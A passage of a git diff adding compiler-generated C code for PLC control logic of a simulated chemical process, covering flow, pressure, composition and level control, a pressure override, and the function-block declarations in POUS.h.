__INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE99_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE99_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT2(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE4_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE4_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT3(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE5_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE5_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT4(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE7_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE7_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_VAR(data__->RUN_BIT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->MOVE99_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE99_OUT,0,retain) + __INIT_VAR(data__->MOVE4_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE4_OUT,0,retain) + __INIT_VAR(data__->MOVE5_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE5_OUT,0,retain) + __INIT_VAR(data__->MOVE7_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->,MOVE99_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->RUN_BIT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE99_ENO,)) { + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->MOVE99_OUT,)); + }; + __SET_VAR(data__->,MOVE4_OUT,,__MAIN_MOVE__UINT__UINT2( + (BOOL)__GET_VAR(data__->MOVE99_ENO,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE4_ENO,)) { + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->MOVE4_OUT,)); + }; + __SET_VAR(data__->,MOVE5_OUT,,__MAIN_MOVE__UINT__UINT3( + (BOOL)__GET_VAR(data__->MOVE4_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE5_ENO,)) { + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->MOVE5_OUT,)); + }; + __SET_VAR(data__->,MOVE7_OUT,,__MAIN_MOVE__UINT__UINT4( + (BOOL)__GET_VAR(data__->MOVE5_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE7_ENO,)) { + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->MOVE7_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h new file mode 100644 index 0000000..d52a5d5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h @@ -0,0 +1,431 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + 